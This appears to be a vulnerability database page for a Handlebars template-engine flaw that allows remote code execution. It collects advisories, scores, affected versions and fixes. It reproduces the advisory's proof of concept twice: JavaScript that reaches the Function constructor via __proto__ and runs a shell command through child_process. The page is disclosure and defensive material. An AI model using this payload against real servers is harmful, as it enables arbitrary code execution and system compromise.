CVE-2026-106445
Handlebars: JavaScript Injection via Own Property Check Bypass
Handlebars provides the power necessary to let users build semantic templates. From 3.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.2
Handlebars: JavaScript Injection via Own Property Check Bypass
Handlebars provides the power necessary to let users build semantic templates. From 3.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.
- Record
CVE-2026-106445- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-184, CWE-1289
- Updated
- 2026-11-02
EUVDEUVD-2026-93952
9.2
Handlebars provides the power necessary to let users build semantic templates. From 3.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.
- Record
EUVD-2026-93952- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-p8wg-vrv2-v86f
9.2
Handlebars: JavaScript Injection via Own Property Check Bypass
Summary
Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
lookupProperty trusts own properties:
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
return result;
}
Normally, prototype-derived values reach resultIsAllowed, which blocks dangerous method names such as constructor. However, constructor is itself an own property of prototype objects:
Function.prototype.constructor === Function;
String.prototype.constructor === String;
Object.prototype.constructor === Object;
As a result, once a template reaches Function.prototype, looking up constructor returns Function without consulting the deny list.
Proof of Concept
An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:
- Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).
- Access constructor via own property bypass: {{lookup (lookup myFunction "__proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.
- Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).
const Handlebars = require('handlebars');
// constructor deny list bypass via hasOwnProperty check in lookupProperty
const template = Handlebars.compile(
// construct code array from template string literal
'{{#with a}}' +
'{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' +
'{{lookup "" (pop)}}' +
'{{lookup "" (shift)}}' +
'{{/with}}' +
// access Function via own property bypass on Function.prototype.constructor
'{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' +
// #each sets depth0=Function without calling it, apply avoids hash body
'{{#each @root}}{{#if @index}}{{else}}' +
'{{#with (this.apply null @root.a)}}{{this}}{{/with}}' +
'{{/if}}{{/each}}'
);
const result = template(
{ fn: function(){}, a: [0] },
{ allowProtoMethodsByDefault: true }
);
console.log(result.trim());
// output: uid=1000(node) gid=1000(node) groups=1000(node)
Workarounds
Do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data.
If you are using packages like hbs which set allowProtoMethodsByDefault: true by default, you have to update Handlebars to the latest version.
- Record
GHSA-p8wg-vrv2-v86f- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-184, CWE-1289
- Updated
- 2026-11-02
NVD
9.2
Handlebars provides the power necessary to let users build semantic templates. From 3.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.
- Record
CVE-2026-106445- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-184, CWE-1289
- Updated
- 2026-11-02
OSV
9.2
Handlebars: JavaScript Injection via Own Property Check Bypass
Handlebars provides the power necessary to let users build semantic templates. From 3.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.
- Record
CVE-2026-106445- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-1289, CWE-184
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-106445
9.2
Handlebars provides the power necessary to let users build semantic templates. From 3.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.
- Record
DEBIAN-CVE-2026-106445- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
Show 6 moreShow less
OSVGHSA-p8wg-vrv2-v86f
9.2
Handlebars: JavaScript Injection via Own Property Check Bypass
Summary
Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
lookupProperty trusts own properties:
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
return result;
}
Normally, prototype-derived values reach resultIsAllowed, which blocks dangerous method names such as constructor. However, constructor is itself an own property of prototype objects:
Function.prototype.constructor === Function;
String.prototype.constructor === String;
Object.prototype.constructor === Object;
As a result, once a template reaches Function.prototype, looking up constructor returns Function without consulting the deny list.
Proof of Concept
An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:
- Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).
- Access constructor via own property bypass: {{lookup (lookup myFunction "__proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.
- Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).
const Handlebars = require('handlebars');
// constructor deny list bypass via hasOwnProperty check in lookupProperty
const template = Handlebars.compile(
// construct code array from template string literal
'{{#with a}}' +
'{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' +
'{{lookup "" (pop)}}' +
'{{lookup "" (shift)}}' +
'{{/with}}' +
// access Function via own property bypass on Function.prototype.constructor
'{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' +
// #each sets depth0=Function without calling it, apply avoids hash body
'{{#each @root}}{{#if @index}}{{else}}' +
'{{#with (this.apply null @root.a)}}{{this}}{{/with}}' +
'{{/if}}{{/each}}'
);
const result = template(
{ fn: function(){}, a: [0] },
{ allowProtoMethodsByDefault: true }
);
console.log(result.trim());
// output: uid=1000(node) gid=1000(node) groups=1000(node)
Workarounds
Do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data.
If you are using packages like hbs which set allowProtoMethodsByDefault: true by default, you have to update Handlebars to the latest version.
- Record
GHSA-p8wg-vrv2-v86f- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-1289, CWE-184
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-106445
9.2
Handlebars provides the power necessary to let users build semantic templates. From 3.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.
- Record
UBUNTU-CVE-2026-106445- CVSS 4.0
- 9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVCLSA-2026-1791679650 No score
TuxCare security update for handlebars (1 CVE)
TuxCare rebuilt handlebars to address 1 CVE. Fixed in 4.7.8-tuxcare.2.
- Record
CLSA-2026-1791679650- Updated
- 2026-11-02
OSVCLSA-2026-1791827421 No score
TuxCare security update for handlebars (1 CVE)
TuxCare rebuilt handlebars to address 1 CVE. Fixed in 3.0.8-tuxcare.4.
- Record
CLSA-2026-1791827421- Updated
- 2026-11-02
OSVCLSA-2026-1791836630 No score
TuxCare security update for handlebars (3 CVEs)
TuxCare rebuilt handlebars to address 3 CVEs. Fixed in 4.7.7-tuxcare.2.
- Record
CLSA-2026-1791836630- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-106445 No score
CVE-2026-106445 in handlebars - Patched by Root
Root has patched CVE-2026-106445 in the handlebars package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-106445- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
handlebarsnpm |
3.0.0 to 4.7.9 | 4.7.10 |
handlebarsTuxCare:npm |
4.7.8-tuxcare.0 up to 4.7.8-tuxcare.2, plus listed versions 4.7.84.7.8-tuxcare.1 |
4.7.8-tuxcare.2 |
handlebarsTuxCare:npm |
3.0.8-tuxcare.0 up to 3.0.8-tuxcare.4, plus listed versions 3.0.83.0.8-tuxcare.13.0.8-tuxcare.23.0.8-tuxcare.3 |
3.0.8-tuxcare.4 |
handlebarsTuxCare:npm From an advisory covering 3 CVEs |
4.7.7-tuxcare.0 up to 4.7.7-tuxcare.2, plus listed versions 4.7.74.7.7-tuxcare.1 |
4.7.7-tuxcare.2 |
node-handlebarsDebian:12 |
All versions, plus listed versions 3:4.7.10-13:4.7.7+~4.1.0-13:4.7.9-13:4.7.9-23:4.7.9-33:4.7.9-43:4.7.9-53:4.7.9-6 |
None known |
node-handlebarsDebian:13 |
All versions, plus listed versions 3:4.7.10-13:4.7.7+~4.1.0-13:4.7.9-13:4.7.9-23:4.7.9-33:4.7.9-43:4.7.9-53:4.7.9-6 |
None known |
node-handlebarsDebian:14 |
before 3:4.7.10-1, plus listed versions 3:4.7.7+~4.1.0-13:4.7.9-13:4.7.9-23:4.7.9-33:4.7.9-43:4.7.9-53:4.7.9-6 |
3:4.7.10-1 |
handlebarsnpm |
3.0.0 up to 4.7.10 | 4.7.10 |
handlebarsRoot:npm |
before 4.7.7-aikido.5 | 4.7.7-aikido.54.7.9-aikido.23.0.7-aikido.23.0.8-aikido.23.0.7-aikido.33.0.3-aikido.2 |
@rootio/handlebarsRoot:npm |
before 4.7.7-root.io.5 | 4.7.7-root.io.54.7.9-root.io.23.0.7-root.io.23.0.8-root.io.23.0.7-root.io.33.0.3-root.io.2 |
Show 6 moreShow less
| Package | Affected | Fixed |
|---|---|---|
node-handlebarsUbuntu:18.04:LTS |
All versions, plus listed versions 3:4.0.10-5 |
None known |
node-handlebarsUbuntu:20.04:LTS |
All versions, plus listed versions 3:4.1.0-13:4.5.3-13:4.7.2-1 |
None known |
node-handlebarsUbuntu:22.04:LTS |
All versions, plus listed versions 3:4.7.6+~4.1.0-23:4.7.7+~4.1.0-1 |
None known |
node-handlebarsUbuntu:24.04:LTS |
All versions, plus listed versions 3:4.7.7+~4.1.0-1 |
None known |
node-handlebarsUbuntu:26.10 |
All versions, plus listed versions 3:4.7.7+~4.1.0-13:4.7.9-5 |
None known |
node-handlebarsUbuntu:26.04:LTS |
All versions, plus listed versions 3:4.7.7+~4.1.0-1 |
None known |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | murrez/CVE-2026-106445 | 2026-10-10 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-106445 is a critical vulnerability (CVSS 9.2) in Handlebars-lang Handlebars.js, published October 6, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.59%, the 48th percentile. Fixed in handlebars 4.7.10.
References
github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-p8wg-vrv2-v86f
github.com/handlebars-lang/handlebars.js/pull/2185
github.com/handlebars-lang/handlebars.js/commit/ceec388abe1d1aac8f6369860d5f390fa71ef4fa
github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.10
nvd.nist.gov/vuln/detail/CVE-2026-106445
github.com/advisories/GHSA-p8wg-vrv2-v86f